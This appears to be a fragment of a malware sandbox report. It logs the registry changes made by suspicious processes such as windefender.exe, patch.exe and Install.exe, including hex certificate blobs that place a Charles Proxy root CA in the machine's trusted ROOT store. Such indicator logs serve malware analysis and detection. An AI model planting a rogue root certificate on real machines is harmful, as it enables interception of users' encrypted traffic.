file.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CTLs file.exe Key created \REGISTRY\USER\.DEFAULT\SYSTEM\CurrentControlSet\Control\NetTrace netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-111 = "Eastern Daylight Time" 1615.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-912 = "Mauritius Standard Time" 1615.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@tzres.dll,-105 = "Central Brazilian Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-142 = "Canada Central Standard Time" 1615.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-471 = "Ekaterinburg Daylight Time" 1615.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@tzres.dll,-982 = "Kamchatka Standard Time" windefender.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\CRLs csrss.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\Certificates DrvInst.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@tzres.dll,-1411 = "Syria Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@tzres.dll,-631 = "Tokyo Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@tzres.dll,-1041 = "Ulaanbaatar Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@tzres.dll,-422 = "Russian Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-103 = "1.0" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-371 = "Jerusalem Daylight Time" 1615.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-581 = "North Asia East Daylight Time" 1615.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CTLs csrss.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\CTLs csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@tzres.dll,-11 = "Azores Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-222 = "Alaskan Standard Time" 1615.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-741 = "New Zealand Daylight Time" 1615.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-631 = "Tokyo Daylight Time" 1615.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA DrvInst.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@tzres.dll,-121 = "SA Pacific Daylight Time" windefender.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates csrss.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CRLs csrss.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CTLs DrvInst.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@tzres.dll,-662 = "Cen. Australia Standard Time" windefender.exe -
Processes:
file.exeSetup.execsrss.exepatch.exeInstall.exe5857830.64F6C2.exedescription ioc process Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 0f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030853000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c00b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e file.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 040000000100000010000000497904b0eb8719ac47b0bc11519b74d00f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030853000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c00b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e file.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\6C0CE2DD0584C47CAC18839F14055F19FA270CDD Setup.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4 csrss.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 040000000100000010000000e4a68ac854ac5242460afd72481b2a441400000001000000140000004e2254201895e6e36ee60ffafab912ed06178f39030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a40f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a319000000010000001000000014c3bd3549ee225aece13734ad8ca0b82000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6 patch.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\6C0CE2DD0584C47CAC18839F14055F19FA270CDD\Blob = 0300000001000000140000006c0ce2dd0584c47cac18839f14055f19fa270cdd2000000001000000500500003082054c30820434a0030201020206016de34cff62300d06092a864886f70d01010b05003081aa313b303906035504030c32436861726c65732050726f78792043412028313920e58d81e69c8820323031392c204445534b544f502d424e41543131552931253023060355040b0c1c68747470733a2f2f636861726c657370726f78792e636f6d2f73736c3111300f060355040a0c08584b3732204c74643111300f06035504070c084175636b6c616e643111300f06035504080c084175636b6c616e64310b3009060355040613024e5a301e170d3030303130313030303030305a170d3438313231353039313533375a3081aa313b303906035504030c32436861726c65732050726f78792043412028313920e58d81e69c8820323031392c204445534b544f502d424e41543131552931253023060355040b0c1c68747470733a2f2f636861726c657370726f78792e636f6d2f73736c3111300f060355040a0c08584b3732204c74643111300f06035504070c084175636b6c616e643111300f06035504080c084175636b6c616e64310b3009060355040613024e5a30820122300d06092a864886f70d01010105000382010f003082010a0282010100ae86c5043ed34d99f44fa3052ea34047a7fbbe33188b1dc2ca645ca3249e85e54b4921d4998fda6a22247c32d9087d742af3bf850803ae8c1e25faad53fb8fd823b7353d9a3ac992bf917f693826c790e53a540b120b6553508ec9585e467d310bd3ef9fb61731deb522eb78f43f824b34be36782db7a8cb162cd22247b14e4c5ae633ed66542354a59971bddc59160ecdc521b4477c93ca9e624e0af00298602300f5dc368819c3cb9f02604636888276b3a498570473b5328b0834f327c34285e333da9207e12f0edbb654c8cf11e3cc7cba17a52cd7cd42c10ae095a2e4eb9d3e3f361488243f0584af40e72d6e6e182149bfb8342384f60f12e14734258d0203010001a382017430820170300f0603551d130101ff040530030101ff3082012c06096086480186f842010d0482011d138201195468697320526f6f74206365727469666963617465207761732067656e65726174656420627920436861726c65732050726f787920666f722053534c2050726f7879696e672e20496620746869732063657274696669636174652069732070617274206f66206120636572746966696361746520636861696e2c2074686973206d65616e73207468617420796f752772652062726f7773696e67207468726f75676820436861726c65732050726f787920776974682053534c2050726f7879696e6720656e61626c656420666f72207468697320776562736974652e20506c656173652073656520687474703a2f2f636861726c657370726f78792e636f6d2f73736c20666f72206d6f726520696e666f726d6174696f6e2e300e0603551d0f0101ff040403020204301d0603551d0e04160414f8d0dc54367cf794020f8b92783a5d8a91251f9f300d06092a864886f70d01010b05000382010100662271eb9d5c744c88382de98ba37320e6312104d04273a92007a8670976d6530e6347d00bbded1319bb6754f36237596095922911e3661a70354f6ba0b797a76258be7adebb8c8dbeeed977760b80271d74b2444d92f6c1337a379b73545b251de5f8812b9625abbbfaedc15f8c6c374b9b26dd0fef035185f5899d8819e689dc6db5f0babbfd637c52b1bec80115b889faeed493d4112d744954ad3abe6607c41a4a2d657ba330ed131fa4e8c25bb28ee181dcef8da91c17bfd30a23c8eae81b152ed85ff938afc32b34ffdaffbdb72d9bb04067bfc87f579eba9637b165ea008ea7408bc8265f33c039bf60f506d245a6b53017afc8e161d70ed5b0d76576 Setup.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\6C0CE2DD0584C47CAC18839F14055F19FA270CDD Install.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\6C0CE2DD0584C47CAC18839F14055F19FA270CDD\Blob = 0f0000000100000020000000f58d226a1455ea81e8c8df37b8c942f342ebbc60a29701fc2895ec13140104610300000001000000140000006c0ce2dd0584c47cac18839f14055f19fa270cdd2000000001000000500500003082054c30820434a0030201020206016de34cff62300d06092a864886f70d01010b05003081aa313b303906035504030c32436861726c65732050726f78792043412028313920e58d81e69c8820323031392c204445534b544f502d424e41543131552931253023060355040b0c1c68747470733a2f2f636861726c657370726f78792e636f6d2f73736c3111300f060355040a0c08584b3732204c74643111300f06035504070c084175636b6c616e643111300f06035504080c084175636b6c616e64310b3009060355040613024e5a301e170d3030303130313030303030305a170d3438313231353039313533375a3081aa313b303906035504030c32436861726c65732050726f78792043412028313920e58d81e69c8820323031392c204445534b544f502d424e41543131552931253023060355040b0c1c68747470733a2f2f636861726c657370726f78792e636f6d2f73736c3111300f060355040a0c08584b3732204c74643111300f06035504070c084175636b6c616e643111300f06035504080c084175636b6c616e64310b3009060355040613024e5a30820122300d06092a864886f70d01010105000382010f003082010a0282010100ae86c5043ed34d99f44fa3052ea34047a7fbbe33188b1dc2ca645ca3249e85e54b4921d4998fda6a22247c32d9087d742af3bf850803ae8c1e25faad53fb8fd823b7353d9a3ac992bf917f693826c790e53a540b120b6553508ec9585e467d310bd3ef9fb61731deb522eb78f43f824b34be36782db7a8cb162cd22247b14e4c5ae633ed66542354a59971bddc59160ecdc521b4477c93ca9e624e0af00298602300f5dc368819c3cb9f02604636888276b3a498570473b5328b0834f327c34285e333da9207e12f0edbb654c8cf11e3cc7cba17a52cd7cd42c10ae095a2e4eb9d3e3f361488243f0584af40e72d6e6e182149bfb8342384f60f12e14734258d0203010001a382017430820170300f0603551d130101ff040530030101ff3082012c06096086480186f842010d0482011d138201195468697320526f6f74206365727469666963617465207761732067656e65726174656420627920436861726c65732050726f787920666f722053534c2050726f7879696e672e20496620746869732063657274696669636174652069732070617274206f66206120636572746966696361746520636861696e2c2074686973206d65616e73207468617420796f752772652062726f7773696e67207468726f75676820436861726c65732050726f787920776974682053534c2050726f7879696e6720656e61626c656420666f72207468697320776562736974652e20506c656173652073656520687474703a2f2f636861726c657370726f78792e636f6d2f73736c20666f72206d6f726520696e666f726d6174696f6e2e300e0603551d0f0101ff040403020204301d0603551d0e04160414f8d0dc54367cf794020f8b92783a5d8a91251f9f300d06092a864886f70d01010b05000382010100662271eb9d5c744c88382de98ba37320e6312104d04273a92007a8670976d6530e6347d00bbded1319bb6754f36237596095922911e3661a70354f6ba0b797a76258be7adebb8c8dbeeed977760b80271d74b2444d92f6c1337a379b73545b251de5f8812b9625abbbfaedc15f8c6c374b9b26dd0fef035185f5899d8819e689dc6db5f0babbfd637c52b1bec80115b889faeed493d4112d744954ad3abe6607c41a4a2d657ba330ed131fa4e8c25bb28ee181dcef8da91c17bfd30a23c8eae81b152ed85ff938afc32b34ffdaffbdb72d9bb04067bfc87f579eba9637b165ea008ea7408bc8265f33c039bf60f506d245a6b53017afc8e161d70ed5b0d76576 Install.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25 5857830.64 Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25 F6C2.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349 file.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 1900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491d00000001000000100000002e0d6875874a44c820912e85e964cfdb140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b40b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f00000053000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703080f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e file.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\6C0CE2DD0584C47CAC18839F14055F19FA270CDD\Blob = 140000000100000014000000f8d0dc54367cf794020f8b92783a5d8a91251f9f0300000001000000140000006c0ce2dd0584c47cac18839f14055f19fa270cdd0f0000000100000020000000f58d226a1455ea81e8c8df37b8c942f342ebbc60a29701fc2895ec13140104612000000001000000500500003082054c30820434a0030201020206016de34cff62300d06092a864886f70d01010b05003081aa313b303906035504030c32436861726c65732050726f78792043412028313920e58d81e69c8820323031392c204445534b544f502d424e41543131552931253023060355040b0c1c68747470733a2f2f636861726c657370726f78792e636f6d2f73736c3111300f060355040a0c08584b3732204c74643111300f06035504070c084175636b6c616e643111300f06035504080c084175636b6c616e64310b3009060355040613024e5a301e170d3030303130313030303030305a170d3438313231353039313533375a3081aa313b303906035504030c32436861726c65732050726f78792043412028313920e58d81e69c8820323031392c204445534b544f502d424e41543131552931253023060355040b0c1c68747470733a2f2f636861726c657370726f78792e636f6d2f73736c3111300f060355040a0c08584b3732204c74643111300f06035504070c084175636b6c616e643111300f06035504080c084175636b6c616e64310b3009060355040613024e5a30820122300d06092a864886f70d01010105000382010f003082010a0282010100ae86c5043ed34d99f44fa3052ea34047a7fbbe33188b1dc2ca645ca3249e85e54b4921d4998fda6a22247c32d9087d742af3bf850803ae8c1e25faad53fb8fd823b7353d9a3ac992bf917f693826c790e53a540b120b6553508ec9585e467d310bd3ef9fb61731deb522eb78f43f824b34be36782db7a8cb162cd22247b14e4c5ae633ed66542354a59971bddc59160ecdc521b4477c93ca9e624e0af00298602300f5dc368819c3cb9f02604636888276b3a498570473b5328b0834f327c34285e333da9207e12f0edbb654c8cf11e3cc7cba17a52cd7cd42c10ae095a2e4eb9d3e3f361488243f0584af40e72d6e6e182149bfb8342384f60f12e14734258d0203010001a382017430820170300f0603551d130101ff040530030101ff3082012c06096086480186f842010d0482011d138201195468697320526f6f74206365727469666963617465207761732067656e65726174656420627920436861726c65732050726f787920666f722053534c2050726f7879696e672e20496620746869732063657274696669636174652069732070617274206f66206120636572746966696361746520636861696e2c2074686973206d65616e73207468617420796f752772652062726f7773696e67207468726f75676820436861726c65732050726f787920776974682053534c2050726f7879696e6720656e61626c656420666f72207468697320776562736974652e20506c656173652073656520687474703a2f2f636861726c657370726f78792e636f6d2f73736c20666f72206d6f726520696e666f726d6174696f6e2e300e0603551d0f0101ff040403020204301d0603551d0e04160414f8d0dc54367cf794020f8b92783a5d8a91251f9f300d06092a864886f70d01010b05000382010100662271eb9d5c744c88382de98ba37320e6312104d04273a92007a8670976d6530e6347d00bbded1319bb6754f36237596095922911e3661a70354f6ba0b797a76258be7adebb8c8dbeeed977760b80271d74b2444d92f6c1337a379b73545b251de5f8812b9625abbbfaedc15f8c6c374b9b26dd0fef035185f5899d8819e689dc6db5f0babbfd637c52b1bec80115b889faeed493d4112d744954ad3abe6607c41a4a2d657ba330ed131fa4e8c25bb28ee181dcef8da91c17bfd30a23c8eae81b152ed85ff938afc32b34ffdaffbdb72d9bb04067bfc87f579eba9637b165ea008ea7408bc8265f33c039bf60f506d245a6b53017afc8e161d70ed5b0d76576 Install.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436 Install.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436\Blob = 04000000010000001000000079e4a9840d7d3a96d7c04fe2434c892e0f0000000100000014000000b34ddd372ed92e8f2abfbb9e20a9d31f204f194b090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030814000000010000001400000003de503556d14cbb66f0a3e21b1bc397b23dd1550b00000001000000120000004400690067006900430065007200740000001d000000010000001000000059779e39e21a2e3dfced6857ed5c5fd9030000000100000014000000a8985d3a65e5e5c4b2d7d66d40c6dd2fb19c54361900000001000000100000000f3a0527d242de2dc98e5cfcb1e991ee2000000001000000b3030000308203af30820297a0030201020210083be056904246b1a1756ac95991c74a300d06092a864886f70d01010505003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100e23be11172dea8a4d3a357aa50a28f0b7790c9a2a5ee12ce965b010920cc0193a74e30b753f743c46900579de28d22dd870640008109cece1b83bfdfcd3b7146e2d666c705b37627168f7b9e1e957deeb748a308dad6af7a0c3906657f4a5d1fbc17f8abbeee28d7747f7a78995985686e5c23324bbf4ec0e85a6de370bf7710bffc01f685d9a844105832a97518d5d1a2be47e2276af49a33f84908608bd45fb43a84bfa1aa4a4c7d3ecf4f5f6c765ea04b37919edc22e66dce141a8e6acbfecdb3146417c75b299e32bff2eefad30b42d4abb74132da0cd4eff881d5bb8d583fb51be84928a270da3104ddf7b216f24c0a4e07a8ed4a3d5eb57fa390c3af270203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041403de503556d14cbb66f0a3e21b1bc397b23dd155301f0603551d2304183016801403de503556d14cbb66f0a3e21b1bc397b23dd155300d06092a864886f70d01010505000382010100cb9c37aa4813120afadd449c4f52b0f4dfae04f5797908a32418fc4b2b84c02db9d5c7fef4c11f58cbb86d9c7a74e79829ab11b5e370a0a1cd4c8899938c9170e2ab0f1cbe93a9ff63d5e40760d3a3bf9d5b09f1d